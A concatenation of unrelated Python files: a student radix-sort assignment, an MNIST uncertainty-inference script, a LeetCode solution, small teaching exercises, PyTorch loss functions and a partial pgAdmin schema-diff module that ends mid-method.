    In the context of this assignment, it sorts the matches based on the selected team (team1 and team2) columns.

    - First a bucket list with 27 spaces for 26 letters and one padded letter
    - The frequency of each letter (and pad) is calculated by accessing the column of the selected team (team1/team2) of each match
    - Iterate through all the letters in bucket list to find the frequency of each letter to insert into the output
        - When the frequency is found (>0) then the string list would be iterated through until a match is found
            - The match in the team list is removed and inserted into the output_list
    - After all the matches is inserted back into the output list, return the output list

    :Input:
        :param team_list:   Is the list of lists of results of all the matches
        :param column:      Is the current column (index) being analysed
        :param team:        Is the current team column (team1/team2) that is being analysed

    :return: output_list:   Is a list of the "sorted" list based on the current column (index)

    Time complexity:
        Worst: O(N)
    Space complexity:
        Aux: O(MN)
    """
    number_of_letters_in_alphabet = 26
    code_for_A = ord('A')

    # Initialising bucket
    bucket_list = [0] * (number_of_letters_in_alphabet + 1)  # Add 1 for padded number

    # Counting the frequency of letters
    for match in team_list:
        letter_worth = 0
        if column < len(match[team]):
            letter_worth = ord(match[team][column]) - code_for_A + 1
        bucket_list[letter_worth] += 1

    # Prepping output
    output_list = []
    for i in range(len(bucket_list)-1,-1,-1):
        # Letter to be inserted based on index of bucket
        insert_letter = i
        frequency = bucket_list[i]
        # Index used to traverse the input (to find a matching letter)
        traverse_string_list_index = 0

        # Keep inserting items of this alphabet until reach frequency
        while frequency != 0:
            # Default the letter at 0 (padding letter) and increment based on the current letter in column
            letter = 0
            if column < len(team_list[traverse_string_list_index][team]):
                letter = ord(team_list[traverse_string_list_index][team][column]) - code_for_A + 1

            # If matching letters then remove from old list (input) and into new list (output)
            if letter == insert_letter:
                output_list.append(team_list[traverse_string_list_index])
                team_list.pop(traverse_string_list_index)
                # Decrement the frequency to be able to terminate loop
                frequency -= 1
            else:
                # Increment traversing index to signal for next string
                traverse_string_list_index += 1

    return output_list

def radix_sort_int(int_list, index):
    """
    This method utilises the counting sort (counting_sort_int) iteratively to ensure that all the indexes are being
    iterated through

    :Input:
        :param int_list:    Is the list of lists of results of all the matches
        :param index:       Is the index of the list of lists that needs to be analysed

    :return: output_list:   Is a sorted list of lists based on the score (Ascending)

    Time complexity:
        Worst: O(N)
    Space complexity:
        Aux: O(MN)
    """
    longest_num_len = 0
    for team in int_list:
        if team[index] != 0:
            if math.floor(math.log10(team[index]))+1 > longest_num_len:
                longest_num_len = math.floor(math.log10(team[index])) +1
        else:
            if 1 > longest_num_len:
                longest_num_len = 1

    for column in range(0, longest_num_len):  # O(M)
        int_list = counting_sort_int(int_list, column, index)

    return int_list

def radix_sort_team(team_list, team):
    """
        This method utilises the counting sort (counting_sort_team) iteratively to ensure that all the indexes are being
        iterated through

        :Input:
            :param team_list:       Is the list of lists of results of all the matches
            :param team:            Is the current team column (team1/team2) that is being analysed

        :return: output_list:       Is a sorted list of lists based on the teams (Descending)

        Time complexity:
            Worst: O(MN)
        Space complexity:
            Aux: O(MN)
    """
    team -= 1 # This is to fit for indexing (team 1 = index 0)

    # Screening for longest length of team composition
    longest_team_comp = 0
    for match in team_list:
        if len(match[team]) > longest_team_comp:
            longest_team_comp = len(match[team])

    # Iterate for every available column to achieve sort
    for column in range(longest_team_comp -1, -1, -1):
        team_list = counting_sort_team(team_list, column, team)

    return team_list

def radix_sort_string(string_list):
    """
    This method utilises the counting sort (counting_sort_string) iteratively to ensure that all the indexes are being
    iterated through

    :Input:
        :param string_list: Is the list of strings (or char) to be sorted

    :return: output_list:       Is a sorted list of strings/char (Ascending)

    Time complexity:
        Worst: O(M)
    Space complexity:
        Aux: O(M)
    """
    # Screening for longest length of string
    longest_str_len = 0
    for word in string_list:
        if len(word) > longest_str_len:
            longest_str_len = len(word)

    # Iterate for every available column to achieve sort
    for column in range(longest_str_len -1, -1, -1):  # O(M)
        string_list = counting_sort_string(string_list, column)

    return string_list

def analyze(results, roster, score):
    """
    The purpose of this method is to return the top 10 scoring matches and the matches that scored the closest to the
    "score" input.

    This was achieved by the following steps:
        - Sorting the composition of each individual team to get a cleaner data set.
            e.g. ABA -> AAB
        - The invert of all matches would be created to ensure all the matches were mirrored.
            e.g. [AAB,BBB,30] will produce [BBB,AAB,70]
        - The results would be sorted starting from the lowest importance to ensure that the list is properly sorted
            - Sorting based on Team2
            - Sorting based on Team1
            - Sorting based on score
            This by inverting the process we ensure that the sorting of the highest importance would not be affected by
            sorting of the lower importance. On the other hand, the sorting of the lower importance has to be affected
            by the sorting of higher importance
        - The results would be iterated from the top (end of the list where the score is the highest) to find the top 10
          results
            - After the top 10 is found, append it into an output list
        - Finally the match(es) with scores closest to the input "score" will be looked for. This is achieved by:-
            - Finding if the score is too high (there should be no output as there is no next highest)
                - Append findings into output list
            - If the score is within the results, iterate backwards through the list
                - If a matching score exists, iterate through the list for all other matching scores
                - If no matching score exists, continue probing until a lower score is found and probe forward to find
                  the next highest score(s)
                - Append findings into output list
        - Return the output list in the form of the form [ [y] , [z] ] where y is 10 top scoring matches and z is
          the list of matches that contain the scores closest to the input "score"

    :Input:
        :param results: Is a list of lists e.g.[[x1,y1,z1],[x2,y2,z2],[x3,y3,z3]] where x and y is team composition and
                        z is the score scored by team x against team y
        :param roster:  Is the possible composition of team (A=1 ... Z=26) that is allowed
        :param score:   Is the score that needs to be searched for (if not found then find the next largest)

    :return output:     Is a list of lists of lists in the form [ [y] , [z] ] where y is 10 top scoring matches and z is
                        the list of matches that contain the scores closest to the input "score"

    Time complexity:
        Worst: O(MN)
    Space complexity:
        Aux: O(MN)
    """

    # Auxiliary space complexity for output = O(1)
    output = []

    # Sorting the Composition | e.g. ABA -> AAB
    # Time complexity of chunk = O(NM)
    # Auxiliary space complexity of chunk = 0
    for matches in results:  # Time: O(N)
        for team in range(0, 1+1):  # Time: O(2)
            character_list = list(matches[team])  # Time: O(M)
            matches[team] = ''.join(radix_sort_string(character_list))  # .join is Time: O(M)

    # Finding and appending inverse of each match | e.g. [AAB,BBB,30] will produce [BBB,AAB,70]
    # Time complexity of chunk = O(N)
    # Auxiliary space complexity of chunk = O(N)
    for matches in range(len(results)):  # Time: O(N)
        temp_match = [results[matches][1], results[matches][0], 100-results[matches][2]]  # Time: O(1)
        results.append(temp_match)  # Time: O(1)

    # Sorting based on team 2
    # Time complexity of chunk = O(MN)
    # Auxiliary space complexity of chunk = O(N)
    results = radix_sort_team(results, 2)

    # Sorting based on team 1
    # Time complexity of chunk = O(MN)
    # Auxiliary space complexity of chunk = O(N)
    results = radix_sort_team(results, 1)

    # Sorting based on the score
    # Time complexity of chunk = O(MN)
    # Auxiliary space complexity of chunk = O(N)
    results = radix_sort_int(results, 2)  # 2 is the index of the score

    # Obtaining top 10
    # Time complexity of chunk = O(MN)
    # Auxiliary space complexity of chunk = O(1)
    top_10 = []  # Space: O(1)
    top_10_index_counter = len(results) - 1  # Time: O(1)
    while (len(top_10) < 10) and (top_10_index_counter != -1):  # Time: O(N)
        if len(top_10) == 0:  # Time: O(1)
            top_10.append(results[top_10_index_counter])  # Time: O(1)
        else:
            if top_10[-1] == results[top_10_index_counter]:  # Time: O(M)
                pass  # Time: O(1)
            else:
                top_10.append(results[top_10_index_counter])  # Time: O(1)
        top_10_index_counter -= 1  # Time: O(1)
    output.append(top_10)  # Time: O(1)

    # Obtaining next largest
    # Time complexity of chunk = O(MN)
    # Auxiliary space complexity of chunk = O(MN)
    # This is a temporary array to store the output for the closest scores to input "score"
    next_largest_output = []
    # This is a variable to track if a valid score is found
    found = -1
    # This is the index / counter to control the while loop
    matches = len(results) -1
    # Checking to see if the input "score" is valid (the are numbers above it)
    # If not valid then append an empty list to the output and return immediately
    if score > results[-1][2]:
        output.append(next_largest_output)
        return output
    # Iterate through the results backwards to find the next highest
    while matches > -1:
        # If there is a matching score,
        # Iterate until all matches with matching score is found and added into next_largest_output
        if results[matches][2] == score:
            # Note the valid score
            found = score
            if len(next_largest_output) == 0:
                next_largest_output.append(results[matches])
            else:
                if results[matches] != next_largest_output[-1]:
                    next_largest_output.append(results[matches])
        # If there is a score smaller than input "score" and no valid score has been found
        # and the current match being analysed is not at the end of the list of results
        if (results[matches][2] < score) and (found == -1) and (matches < (len(results) - 1)):
            # Note the valid score
            found = results[matches + 1][2]
            # Append the previous match (since found smaller score than input "score", the prev score must be larger)
            next_largest_output.append(results[matches + 1])
            # Exit while loop
            break
        # Else if there is a score smaller than input "score" and no valid score has been found
        # and current match is at end of the list of results, ignore
        elif (results[matches][2] < score) and (found == -1) and (matches == (len(results) - 1)):
            found = -2
        matches -= 1
    # If a valid score is found that is not equal to input "score", then iterate forward until all matches of similar
    # scores to the next highest would be added to next_largest_output
    if (found != -1) and (matches > 0):
        valid = True
        while valid and ((matches+1) != len(results)):
            matches += 1
            if results[matches][2] == found:
                if results[matches] != next_largest_output[-1]:
                    next_largest_output.append(results[matches])
            else:
                valid = False
        # Invert the list to ensure that the stability (sorting of the scores are maintained)
        next_largest_output_inverted = next_largest_output[::-1]
        # Appending the now properly sorted next_largest_output to the output
        output.append(next_largest_output_inverted)
        # return output to end execution
        return output
    # If the next-largest_output is empty after iterating through results (meaning all matches have higher score than
    # input "score") then identify and note the score of the last match to iterate through and iterate forwards to find
    # all the scores with similar score the one noted
    if len(next_largest_output) == 0:
        found = results[0][2]
        valid = True
        index = 0
        next_largest_output.append(results[0])
        while valid and index < len(results):
            index += 1
            if results[index][2] == found:
                if results[index][2] != next_largest_output[-1]:
                    next_largest_output.append(results[index])
            else:
                valid = False
        # Invert the list to ensure that the stability (sorting of the scores are maintained)
        next_largest_output_inverted = next_largest_output[::-1]
        # Appending the now properly sorted next_largest_output to the output
        output.append(next_largest_output_inverted)
        # return output to end execution
        return output

    # Finally, return output
    output.append(next_largest_output)
    return output  # Time: O(1)


from __future__ import print_function
import argparse
import torch
import torch.nn as nn
import torch.nn.functional as F
import torch.optim as optim
from torchvision import datasets, transforms

from torch.utils.data.sampler import Sampler, SubsetRandomSampler
import numpy as np
from sklearn.model_selection import StratifiedKFold

from DataSampler import index_gen
from utils.loss import UncertaintyLoss

class Net(nn.Module):
    def __init__(self, args):
        super(Net, self).__init__()
        self.conv1 = nn.Conv2d(1, 20, 5, 1)
        self.conv2 = nn.Conv2d(20, 50, 5, 1)
        self.fc1 = nn.Linear(4 * 4 * 50, 500)
        self.fc2 = nn.Linear(500, 10)
        self.args = args
        if args.uncertainty:
            self.fc2_var = nn.Linear(500,10)
            self.softp = nn.Softplus()
    def forward(self, x):
        x = F.relu(self.conv1(x))
        x = F.max_pool2d(x, 2, 2)
        x = F.relu(self.conv2(x))
        x = F.max_pool2d(x, 2, 2)
        x = x.view(-1, 4 * 4 * 50)
        x = F.relu(self.fc1(x))
        if not self.args.uncertainty:
            x = self.fc2(x)
            return F.log_softmax(x, dim=1)
        else:
            x_mu = self.fc2(x)
            x_logvar = self.fc2_var(x)
            x_var = torch.exp(x_logvar)
            return x_mu, x_var

def test(args, model, device, test_loader, data_idx, epoch):
    model.eval()
    test_loss = 0
    correct = 0

    print('------start final prediction and save the result-----')
    with torch.no_grad():
        for data, target in test_loader:
            data, target = data.to(device), target.to(device)

            if args.uncertainty:
                output, output_var = model(data)
                test_loss += UncertaintyLoss(output, output_var, target, reduction='sum')
            else:
                output = model(data)
                test_loss += F.nll_loss(output, target, reduction='sum')
            # output = model(data)
            # test_loss += F.nll_loss(output, target, reduction='sum').item()  # sum up batch loss
            pred = output.argmax(dim=1, keepdim=True)  # get the index of the max log-probability
            correct += pred.eq(target.view_as(pred)).sum().item()
            if args.uncertainty:
                try:
                    predictions_mu = np.concatenate((predictions_mu,output.data.cpu().numpy()), 0)
                    predictions_var = np.concatenate((predictions_var,output_var.data.cpu().numpy()), 0)
                    labels = np.concatenate((labels,target.data.cpu().numpy()), 0)
                except:
                    predictions_mu = output.data.cpu().numpy()
                    predictions_var = output_var.data.cpu().numpy()
                    labels = target.data.cpu().numpy()

            else:
                try:
                    predictions = np.concatenate((predictions,output.data.cpu().numpy()), 0)
                    labels = np.concatenate((labels,target.data.cpu().numpy()), 0)
                except:
                    predictions = output.data.cpu().numpy()
                    labels = target.data.cpu().numpy()

    test_loss /= len(test_loader.dataset)

    print('\nTest set: Average loss: {:.4f}, Accuracy: {}/{} ({:.0f}%)\n'.format(
        test_loss, correct, len(data_idx),
        100. * correct / len(data_idx)))
    if args.uncertainty:
        return predictions_mu, predictions_var, labels
    else:
        return predictions, labels

def main():
    # Training settings
    parser = argparse.ArgumentParser(description='PyTorch MNIST Example')
    parser.add_argument('--batch-size', type=int, default=64, metavar='N',
                        help='input batch size for training (default: 64)')
    parser.add_argument('--test-batch-size', type=int, default=1000, metavar='N',
                        help='input batch size for testing (default: 1000)')
    parser.add_argument('--epochs', type=int, default=100, metavar='N',
                        help='number of epochs to train (default: 10)')
    parser.add_argument('--lr', type=float, default=0.01, metavar='LR',
                        help='learning rate (default: 0.01)')
    parser.add_argument('--momentum', type=float, default=0.5, metavar='M',
                        help='SGD momentum (default: 0.5)')
    parser.add_argument('--no-cuda', action='store_true', default=False,
                        help='disables CUDA training')
    parser.add_argument('--seed', type=int, default=1, metavar='S',
                        help='random seed (default: 1)')
    parser.add_argument('--log-interval', type=int, default=10, metavar='N',
                        help='how many batches to wait before logging training status')
    parser.add_argument('--k-fold', type=int, default=6,
                        help='How many folds')
    parser.add_argument('--base-prediction', type=bool, default=True,
                        help='save base learner prediction ')
    parser.add_argument('--uncertainty', type=bool, default=True,
                        help='predict mu and var ? ')

    parser.add_argument('--save-model', action='store_true', default=True,
                        help='For Saving the current Model')
    args = parser.parse_args()
    use_cuda = not args.no_cuda and torch.cuda.is_available()

    torch.manual_seed(args.seed)

    device = torch.device("cuda" if use_cuda else "cpu")

    kwargs = {'num_workers': 2, 'pin_memory': True} if use_cuda else {}

    train_transform = transforms.Compose([
                           transforms.ToTensor(),
                           transforms.Normalize((0.1307,), (0.3081,))
                            ])

    trainset = datasets.MNIST('../data', train=True, download=True, transform=train_transform)

    train_idxs, val_idxs = index_gen(trainset, seed = 100, k=args.k_fold)

    ## restart in kfold - 3~4
    for fold in range(args.k_fold):
        print('Start {}-th fold Inference'.format(fold))

        val_loader = torch.utils.data.DataLoader(trainset,
            batch_size=args.test_batch_size, sampler=SubsetRandomSampler(val_idxs[fold]) , shuffle=False, **kwargs)

        model = Net(args).to(device)
        model.load_state_dict(torch.load('./run/uncertainty_2/[{}-th fold]mnist_cnn.pt'.format(fold)))

        if args.uncertainty:
            predictions_mu, predictions_var, labels = test(args, model, device, val_loader, val_idxs[fold], 1)
            try:
                predictions_mu_folds = np.concatenate((predictions_mu_folds, predictions_mu), 0)
                predictions_var_folds = np.concatenate((predictions_var_folds, predictions_var), 0)
                labels_folds = np.concatenate((labels_folds, labels), 0)
            except:
                predictions_mu_folds = predictions_mu
                predictions_var_folds = predictions_var
                labels_folds = labels
        else:
            predictions, labels = test(args, model, device, val_loader, val_idxs[fold], 1)
            try:
                predictions_folds = np.concatenate((predictions_folds, predictions), 0)
                labels_folds = np.concatenate((labels_folds, labels), 0)
            except:
                predictions_folds = predictions
                labels_folds = labels

        if args.base_prediction and fold == args.k_fold-1:
            if args.uncertainty:
                np.save('./run/uncertainty_2/x_mu.npy',predictions_mu_folds)
                np.save('./run/uncertainty_2/x_var.npy',predictions_var_folds)
                np.save('./run/uncertainty_2/y.npy',labels_folds)

            else:
                np.save('./run/baseline/x.npy',predictions_folds)
                np.save('./run/baseline/y.npy',labels_folds)

if __name__ == '__main__':
    main()


# -*- coding: UTF-8 -*-
"""
title: 表现良好的最长时间段
We are given hours, a list of the number of hours worked per day for a given employee.
A day is considered to be a tiring day if and only if the number of hours worked is (strictly) greater than 8.
A well-performing interval is an interval of days for which the number of tiring days is strictly larger than the number of non-tiring days.
Return the length of the longest well-performing interval.

Example 1:
Input: hours = [9,9,6,0,6,6,9]
Output: 3
Explanation: The longest well-performing interval is [9,9,6].

Example 2:
Input: hours = [6,6,6]
Output: 0

Constraints:
1 <= hours.length <= 10^4
0 <= hours[i] <= 16
"""
from typing import List

class Solution:
    def longestWPI(self, hours: List[int]) -> int:
        """
        前缀和 + 单调递减栈。得到前缀和数组后，问题就等价于LeetCode题962
        """
        n = len(hours)
        # 若pre_sum[4] - pre_sum[1] > 0，则表示 hours[1] + hours[2] + hours[3] > 0，即 区间[1, 3]是个表现良好的时间段
        pre_sum = [0]
        for h in hours:
            pre_sum.append(pre_sum[-1] + 1 if h > 8 else pre_sum[-1] - 1)
        # 单调递减栈中保存的是pre_sum数组的下标
        stack = [0]
        for i in range(1, n + 1):
            if pre_sum[stack[-1]] > pre_sum[i]:
                stack.append(i)
        res = 0
        for j in range(n, 0, -1):
            while stack and pre_sum[j] - pre_sum[stack[-1]] > 0:
                res = max(res, j - stack.pop())
            if res >= j:
                break
        return res

if __name__ == '__main__':
    print(Solution().longestWPI(hours=[9, 9, 6, 0, 6, 6, 9]))


'''
Created on Jul 2, 2014

@author: viejoemer

HowTo delete a key and keeping the value at the same time in python?

¿Cómo eliminar una clave y mantener el valor, al mismo tiempo en python?

'''

#Creating a dict with data
d = {
     "red":100,
     "yellow":200,
     "blue" : 300
     }
print(d)

#Using pop to delete a key and keeping the value
value = d.pop("red")
print(d)
print(value)


from os import path, walk
from PIL import Image, ImageOps
from settings import COLORS, W_SIZE, H_SIZE

def resize_image(img_path):
    im = None
    try:
        # Load image
        im = Image.open(img_path)
        im = im.quantize(
            colors=COLORS,
            method=1
        ).resize(
            (W_SIZE, H_SIZE)
        )
        im = ImageOps.grayscale(im)
        im.save(f"{img_path}_result.jpg")
    except Exception as err:
        print(err)
    return im

def get_rgb_image_matrix(im):
    mtx = [[] for x in range(H_SIZE)]
    for h_px in range(H_SIZE):
        for w_px in range(W_SIZE):
            la = im.getpixel((w_px, h_px))
            mtx[h_px].append(la)
    return mtx

def found_similars(im, img_folder):
    main_mtx = get_rgb_image_matrix(im)
    img_f = []
    img_f_result = []
    for (dirpath, dirnames, filenames) in walk(img_folder):
        img_f.extend(filenames)
        break
    for img in img_f:
        pil_img = resize_image(path.join(img_folder, img))
        img_mtx = get_rgb_image_matrix(pil_img)
        total_coincidence = 0
        for h_px in range(H_SIZE):
            for w_px in range(W_SIZE):
                lao = main_mtx[h_px][w_px]
                la = img_mtx[h_px][w_px]
                la_result = False
                # R
                if lao > la - 10 and lao < la + 10:
                    la_result = True
                if la_result:
                    total_coincidence += 1
        percent = (total_coincidence * 100) / (W_SIZE * H_SIZE)
        img_f_result.append(f"{img} => {percent}")
    print(img_f_result)


#!/usr/bin/env python
# -*- coding: utf-8 -*-

# AutoLoss copy from my HPA paper
# FocalBCELoss & FocalMSELoss copy from LTG

import torch
import torch.nn as nn
import torch.nn.functional as F

epsilon = 1e-8

class RectifyLoss(nn.Module):
    '''RectifyLoss'''

    def __init__(self, gamma=1, thr=0.5):
        super(RectifyLoss, self).__init__()
        self.gamma = gamma
        self.thr = thr

    def agree_mask(self, p, y):
        '''return 0-1 agree mask, p > 0.5 for y = 1, p < 0.5 for y = 0'''
        sign = (p - self.thr) * (y - self.thr)
        return torch.sigmoid(1e8 * sign)

    def mask_tp(self, p, y):
        '''tp is y == 1 and p agree with y'''
        return y * self.agree

    def mask_fp(self, p, y):
        '''fp is y == 0 and p not agree with y'''
        return (1 - y) * (1 - self.agree)

    def mask_tn(self, p, y):
        '''tn is y == 0 and p agree with y'''
        return (1 - y) * self.agree

    def mask_fn(self, p, y):
        '''fn is y == 1 and p not agree with y'''
        return y * (1 - self.agree)

    def forward(self, p, y):
        pass

class SFocalLoss(nn.Module):
    '''Simple Focal Loss without alpha t'''
    def __init__(self, gamma=2, reduction="elementwise_mean"):
        super(SFocalLoss, self).__init__()
        self.gamma = gamma
        self.reduction = reduction

    def forward(self, p, y):
        pt = y * p + (1 - y) * (1 - p)
        pt = pt.clamp(epsilon, 1.0 - epsilon)

        w = (1 - pt).pow(self.gamma)
        w = w.clamp(epsilon, 10000.0)
        loss = -w * pt.log() / 2
        if self.reduction == 'none':
            return loss
        else:
            return torch.mean(loss)

class FECLoss(nn.Module):
    '''auto weighted loss, focus on error correction'''
    def __init__(self, alpha=100, gamma=1,
                 reduction='mean', thr=0.5):
        '''
        alpha controls weights between bce & penalty.
        gamma controls penalty level.
        p > thr as positive, otherwise negative.
        '''
        super(FECLoss, self).__init__()
        self.alpha = alpha
        self.gamma = gamma
        self.reduction = reduction
        self.thr = thr

    def agree_mask(self, p, y):
        '''return 0-1 agree mask, p > 0.5 for y = 1, p < 0.5 for y = 0'''
        sign = (p - self.thr) * (y - self.thr)
        return torch.sigmoid(1e8 * sign)

    def mask_tp(self, p, y):
        '''tp is y == 1 and p agree with y'''
        return y * self.agree

    def mask_fp(self, p, y):
        '''fp is y == 0 and p not agree with y'''
        return (1 - y) * (1 - self.agree)

    def mask_tn(self, p, y):
        '''tn is y == 0 and p agree with y'''
        return (1 - y) * self.agree

    def mask_fn(self, p, y):
        '''fn is y == 1 and p not agree with y'''
        return y * (1 - self.agree)

    def forward(self, p, y):
        oloss = F.binary_cross_entropy(p, y, reduction='none')

        self.agree = self.agree_mask(p, y)
        nsample, nlabel = y.shape

        tp_ind = self.mask_tp(p, y)
        fp_ind = self.mask_fp(p, y)
        tn_ind = self.mask_tn(p, y)
        fn_ind = self.mask_fn(p, y)

        tp = torch.sum(tp_ind, dim=0)
        fp = torch.sum(fp_ind, dim=0)
        tn = torch.sum(tn_ind, dim=0)
        fn = torch.sum(fn_ind, dim=0)

        fp_coef = fp / (tn + 1)
        fn_coef = fn / (tp + 1)
        fp_w = fp_coef * fp_ind
        fn_w = fn_coef * fn_ind

        penalty = fp_w ** self.gamma + fn_w ** self.gamma
        weights = 1 + self.alpha * penalty / nsample

        w_loss = weights * oloss

        if self.reduction == 'none':
            return w_loss
        else:
            return torch.mean(w_loss)

class F1Loss(nn.Module):
    '''add f1 term to loss'''

    def __init__(self, bce=False, factor=1.0, thr=0.5):
        super(F1Loss, self).__init__()
        self.bce = bce
        self.factor = factor
        self.thr = thr

    def forward(self, p, y):
        floss = self.compute_floss(p, y).float()
        if self.bce:
            oloss = F.binary_cross_entropy(p, y, reduction='elementwise_mean')
            floss = oloss + floss * self.factor
        return floss

    def agree_mask(self, p, y):
        '''return 0-1 agree mask, p > 0.5 for y = 1, p < 0.5 for y = 0'''
        sign = (p - self.thr) * (y - self.thr)
        return torch.sigmoid(1e8 * sign)

    def mask_tp(self, p, y):
        '''tp is y == 1 and p agree with y'''
        return y * self.agree

    def mask_fp(self, p, y):
        '''fp is y == 0 and p not agree with y'''
        return (1 - y) * (1 - self.agree)

    def mask_tn(self, p, y):
        '''tn is y == 0 and p agree with y'''
        return (1 - y) * self.agree

    def mask_fn(self, p, y):
        '''fn is y == 1 and p not agree with y'''
        return y * (1 - self.agree)

    def compute_floss(self, p, y):
        self.agree = self.agree_mask(p, y)

        tp_ind = self.mask_tp(p, y)
        fp_ind = self.mask_fp(p, y)
        fn_ind = self.mask_fn(p, y)

        tp = torch.sum(tp_ind, dim=0)
        fp = torch.sum(fp_ind, dim=0)
        fn = torch.sum(fn_ind, dim=0)

        f1 = tp / (tp + 0.5 * fp + 0.5 * fn + epsilon)
        ma_f1 = torch.mean(f1)

        return 1 - ma_f1

class FocalMSELoss(nn.Module):
    """
    this criterion is a implementation of Focal Loss,
    Loss(y,p)=alpha*(1-p)^gamma*(y-p)^2 when y=1
             =(1-alpha)*p^gamma*(y-p)^2
    Args:
        alpha(float,double): a scalar factor for this criterion
        gamma(float,double): reduces the relative loss for well-classified
            examples, and putting more focus on hard, misclassified examples
        size_average(bool): By default, the losses are averaged over each
            minibatch. However, if the field size_average is set to False,
            then the losses are instead summed for each minibatch
    """

    def __init__(self, alpha, gamma, size_average):
        super(FocalMSELoss, self).__init__()
        self.alpha = alpha
        self.gamma = gamma
        self.size_average = size_average

    def forward(self, inputs, targets):
        N = inputs.size(0)
        C = inputs.size(1)
        MseLoss = torch.pow(targets - inputs, 2)
        chaZhi = torch.abs(targets - inputs)
        MseLoss = torch.mul(MseLoss, torch.pow(chaZhi, self.gamma))

        for i in range(N):
            for j in range(C):
                if targets[i][j] == 1:
                    MseLoss[i][j] = MseLoss[i][j]*self.alpha[j]
        if self.size_average:
            loss = MseLoss.mean()
        else:
            loss = MseLoss.sum()
        return loss

class FocalBCELoss(nn.Module):

    def __init__(self, alpha, gamma, size_average):
        super(FocalBCELoss, self).__init__()
        self.alpha = alpha
        self.gamma = gamma
        self.size_average = size_average

    def forward(self, inputs, targets):
        N = inputs.size(0)
        C = inputs.size(1)

        PosLoss = torch.mul(torch.log(inputs), torch.pow(1-inputs, self.gamma))
        LeftLoss = torch.mul(targets, PosLoss)
        for i in range(N):
            for j in range(C):
                LeftLoss[i][j] = LeftLoss[i][j] * self.alpha[j]

        NegLoss = torch.mul(torch.log(1-inputs), torch.pow(inputs, self.gamma))
        RightLoss = torch.mul(1-targets, NegLoss)

        Loss = -1*(RightLoss + LeftLoss)

        if self.size_average:
            loss = Loss.mean()
        else:
            loss = Loss.sum()
        return loss


from math import ceil

items = input().split("|")
budget = int(input())

starting_budget = budget

final_price = 0
price_with_profit = []

for item in items:
    item_arg = item.split("->")
    type_item = item_arg[0]
    price_item = float(item_arg[1])

    if type_item == "Clothes" and price_item > 50:
        continue
    elif type_item == "Shoes" and price_item > 35:
        continue
    elif type_item == "Accessories" and price_item > 25.50:
        continue

    if budget < price_item:
        continue

    budget -= price_item
    price_with_profit.append(price_item)

for price in price_with_profit:
    price *= 1.4
    final_price += price
    print(f"{price:.2f}", end=" ")

profit = abs(starting_budget - (final_price + budget))

print()
print(f"Profit: {profit:.2f}")

if starting_budget + profit > 150:
    print("Hello, France!")
else:
    print("Not enough money.")

Fundamentals/09. Lists Advanced Exercise/hello_france.py


import copy

from pgadmin.utils.ajax import internal_server_error
from pgadmin.tools.schema_diff.directory_compare import compare_dictionaries,\
    are_dictionaries_identical
from pgadmin.tools.schema_diff.compare import SchemaDiffObjectCompare
from pgadmin.tools.schema_diff.node_registry import SchemaDiffRegistry

class SchemaDiffTableCompare(SchemaDiffObjectCompare):
    table_keys_to_ignore = ['oid', 'schema', 'edit_types', 'attnum',
                            'col_type', 'references', 'reltuples', 'oid-2',
                            'rows_cnt', 'hastoasttable', 'relhassubclass',
                            'relacl_str', 'setting']

    column_keys_to_ignore = ['atttypid', 'edit_types', 'elemoid', 'seqrelid',
                             'indkey']

    constraint_keys_to_ignore = ['relname', 'nspname', 'parent_tbl',
                                 'attrelid', 'adrelid', 'fknsp', 'confrelid',
                                 'references', 'refnsp', 'remote_schema',
                                 'conkey', 'indkey', 'references_table_name',
                                 'refnspoid']

    trigger_keys_to_ignore = ['xmin', 'tgrelid', 'tgfoid', 'tfunction',
                              'tgqual', 'tgconstraint']
    index_keys_to_ignore = ['indrelid', 'indclass']

    keys_to_ignore = table_keys_to_ignore + column_keys_to_ignore + \
        constraint_keys_to_ignore + trigger_keys_to_ignore + \
        index_keys_to_ignore

    def compare(self, **kwargs):
        """
        This function is used to compare all the table objects
        from two different schemas.

        :param kwargs:
        :return:
        """
        source_params = {'sid': kwargs.get('source_sid'),
                         'did': kwargs.get('source_did'),
                         'scid': kwargs.get('source_scid')}
        target_params = {'sid': kwargs.get('target_sid'),
                         'did': kwargs.get('target_did'),
                         'scid': kwargs.get('target_scid')}
        ignore_owner = kwargs.get('ignore_owner')
        ignore_whitespaces = kwargs.get('ignore_whitespaces')
        ignore_tablespace = kwargs.get('ignore_tablespace')
        ignore_grants = kwargs.get('ignore_grants')

        group_name = kwargs.get('group_name')
        source_schema_name = kwargs.get('source_schema_name', None)
        source_tables = {}
        target_tables = {}

        status, target_schema = self.get_schema(**target_params)
        if not status:
            return internal_server_error(errormsg=target_schema)

        if 'scid' in source_params and source_params['scid'] is not None:
            source_tables = self.fetch_tables(**source_params)

        if 'scid' in target_params and target_params['scid'] is not None:
            target_tables = self.fetch_tables(**target_params)

        # If both the dict have no items then return None.
        if not (source_tables or target_tables) or (
                len(source_tables) <= 0 and len(target_tables) <= 0):
            return None

        return compare_dictionaries(view_object=self,
                                    source_params=source_params,
                                    target_params=target_params,
                                    target_schema=target_schema,
                                    source_dict=source_tables,
                                    target_dict=target_tables,
                                    node=self.node_type,
                                    node_label=self.blueprint.collection_label,
                                    group_name=group_name,
                                    ignore_keys=self.keys_to_ignore,
                                    source_schema_name=source_schema_name,
                                    ignore_owner=ignore_owner,
                                    ignore_whitespaces=ignore_whitespaces,
                                    ignore_tablespace=ignore_tablespace,
                                    ignore_grants=ignore_grants)

    def ddl_compare(self, **kwargs):
        """
        This function will compare properties of 2 tables and
        return the source DDL, target DDL and Difference of them.

        :param kwargs:
        :return:
        """
        source_params = {'sid': kwargs.get('source_sid'),
                         'did': kwargs.get('source_did'),
                         'scid': kwargs.get('source_scid'),
                         'tid': kwargs.get('source_oid'),
                         'json_resp': False
                         }

        target_params = {'sid': kwargs.get('target_sid'),
                         'did': kwargs.get('target_did'),
                         'scid': kwargs.get('target_scid'),
                         'tid': kwargs.get('target_oid'),
                         'json_resp': False
                         }

        source = self.get_sql_from_table_diff(**source_params)
        target = self.get_sql_from_table_diff(**target_params)

        return {'source_ddl': source,
                'target_ddl': target,
                'diff_ddl': ''
                }

    @staticmethod
    def table_col_comp(source, target):
        """
        Table Column comparison
        :param source: Source columns
        :param target: Target columns
        :return: Difference of the columns
        """
        source_cols = source['columns']
        target_cols = copy.deepcopy(target['columns'])
        added = []
        updated = []
        different = {'columns': {}}

        for source in source_cols:
            if 'name' in source:
                if isinstance(target_cols, list) and target_cols:
                    SchemaDiffTableCompare.compare_target_cols(source,
                                                               target_cols,
                                                               added, updated)
                else:
                    added.append(source)
            different['columns']['added'] = added
            different['columns']['changed'] = updated

        if target_cols and len(target_cols) > 0:
